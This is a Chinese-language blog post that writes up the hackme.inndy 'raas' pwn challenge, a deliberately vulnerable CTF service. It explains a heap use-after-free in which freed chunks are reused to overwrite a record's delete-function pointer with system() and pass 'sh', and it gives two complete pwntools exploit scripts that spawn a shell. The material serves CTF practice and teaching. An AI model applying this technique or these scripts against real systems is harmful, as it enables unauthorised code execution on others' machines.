hackme inndy pwn raas writeup

原创

charlie_heng 于 2017-12-31 23:08:16 发布 279 收藏

分类专栏： pwn

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/charlie_heng/article/details/78943796

版权

pwn 专栏收录该内容

26 篇文章 0 订阅

订阅专栏

继续做题，之前一直对堆不是很熟，这次特地做一道堆的题来练手

首先题目给了提示，是一道UAF

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  alarm(0x258u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  puts("Welcome to use my Record-as-a-Service (free plan)");
  puts("You can only save Integer or String for 600 seconds");
  puts("Pay 1,000,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");
  puts("Here is term of service. You must agree to use this service. Please read carefully!");
  puts("================================================================================");
  puts("================================================================================");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("1. New record");
        puts("2. Del record");
        puts("3. Show record");
        v3 = ask("Act");
        if ( v3 != 2 )
          break;
        do_del();
      }
      if ( v3 != 3 )
        break;
      do_dump();
    }
    if ( v3 != 1 )
      break;
    do_new();
  }
  puts("Bye~ Thanks for using our service!");
  return 0;
}
```

http://blog.csdn.net/charlie_heng

可以看到，有3个操作，一个是新建，一个是删除，一个是展示

```
int do_del()
{
  int v0; // eax

  v0 = ask("Index");
  return (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]);
}
```

http://blog.csdn.net/charlie_heng

```
int do_dump()
{
  int v0; // eax

  v0 = ask("Index");
  return (*(int (__cdecl **)(int))records[v0])(records[v0]);
}
```

http://blog.csdn.net/charlie_heng

删除和展示如上，新建的代码太长，我就简述下功能吧

1.选择类型，数字还是字符串
2.如果是字符串，要输入长度
3.输入内容

内存的操作是，先new了一个大小为12的堆，前8位放的是用于展示的函数指针和用于删除的函数指针
如果是输入数字，那么最后那4位就是用于存放数字
如果是输入字符，那么再new一个指定长度的堆，该堆的指针放在最后那4位

简述完功能，我们来讲怎么做

因为是uaf，所以肯定要用展示和删除其中一个，展示这里pass，因为修改了展示的函数指针之后，传入的参数是堆的地址，这里明显不行。

那么只能改删除，我选择的是把删除的指针改成system的地址，但是这里参数只能写3个字节长度的字符串，因为中间4位要放调用的函数指针，一个字符串要以00结尾，写/bin/sh太长，只能写sh了

//话说其实我是想用echo2那个套路，用libc里面的magic值，一发get shell，但是实际尝试之后发现并不行

那么知道写哪里，写什么之后，之后就是怎么写了。

这里有好几个思路，但是都是大同小异。

一、
1. new 两个record，delete掉，这里的record类型随意，但是字符的要注意新new的长度不要等于12
2. new一个字符串类型的record，长度为12，假设new的两个record是0、1，删除的顺序是0、1，那么这个时候在fast bin的链表里面是 1->0 ，new一个record，存函数指针那个堆复用了1的堆，用来存内容的那个堆是用了0的堆
3. 我们往0那个堆里面写我们想要的东西，再删除0的record，这样就能get 到shell

二、
1. new两个字符的record，长度大于fastbin的范围，又属于small bin的范围，然后delete掉
new完之后堆的内存如下
| 0 | size 0x10
| 1 | size 0x70
| 2 | size 0x10
| 3 | size 0x70

这里其实我有个疑问。。为什么malloc(0xc)这里大小是0x10，malloc(0x68) 这里大小是0x70，一个+4，一个+8。。。。（有可能是fast bin和small bin不同，之后再慢慢研究。。。。

delete 完两个之后，前两个堆合并了，然后最后那个0x70和top chunk合并了，所以最后剩下大小为0x80、0x10的两个堆

2.new 一个字符的record，长度为0x78，这个时候写入的位置就是第0个record的函数指针所在的那个堆
3.接下来的思路就跟一 一样了

其实我本来还有一个骚操作的思路，就是上面提到的一发get shell，为了实现一发get shell，这里可以修改record[i]+8的值，然后利用他的printf函数泄漏libc地址，再推算出magic addr，一发get shell，但是实际上试了并不行，可能是函数传递约束的不同导致的吧。。。

payload1

```
from pwn import *
import time

debug=1
if debug:
    p=process('./raas')
else:
    p=remote('hackme.inndy.tw', 7719)



def new_record(index,length,content):
    p.sendline('1')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Type > ')
    p.sendline('2')
    p.recvuntil('Length > ')
    p.sendline(str(length))
    p.recvuntil('Value > ')
    if(len(content)<length):
        p.sendline(content)
    else:
        p.sendline(content[:-2])
    p.recvuntil('Act > ')

def del_record(index):
    p.sendline('2')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Act > ')

def show_record(index,get):
    p.sendline('3')
    p.recvuntil('Index >')
    p.sendline(str(index))
    if(get):
        p.recvuntil('Value=')
        data=p.recvuntil(')')
        return data
    p.recvuntil('Act > ')

#gdb.attach(proc.pidof(p)[0])
#context.log_level='debug'
new_record(0,20,'0000')
new_record(1,20,'1111')

del_record(0)
```

```
del_record(1)

system_addr=0x80484F0
rec_printf=0x80486BE
rec_free=0x8048705
puts_addr=0x80484E0


new_record(2,12,'sh'+'\x00'*2+p32(system_addr))

p.sendline('2')
p.sendline('0')

p.interactive()
```

payload2

```
from pwn import *
import time

debug=1
if debug:
    p=process('./raas')
else:
    p=remote('hackme.inndy.tw', 7719)



def new_record(index,length,content):
    p.sendline('1')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Type > ')
    p.sendline('2')
    p.recvuntil('Length > ')
    p.sendline(str(length))
    p.recvuntil('Value > ')
    if(len(content)<length):
        p.sendline(content)
    else:
        p.sendline(content[:-2])
    p.recvuntil('Act > ')

def del_record(index):
    p.sendline('2')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Act > ')

def show_record(index,get):
    p.sendline('3')
    p.recvuntil('Index >')
    p.sendline(str(index))
    if(get):
        p.recvuntil('Value=')
        data=p.recvuntil(')')
        return data
    p.recvuntil('Act > ')
```

```
#gdb.attach(proc.pidof(p)[0])
#context.log_level='debug'
new_record(0,104,'0000')
new_record(1,104,'1111')

del_record(0)
del_record(1)

system_addr=0x80484F0
rec_printf=0x80486BE
rec_free=0x8048705
puts_addr=0x80484E0


new_record(2,104+16,'sh'+'\x00'*2+p32(system_addr))

p.sendline('2')
p.sendline('0')

p.interactive()
```

创作打卡挑战赛 〉
赢取流量/现金/CSDN周边激励大奖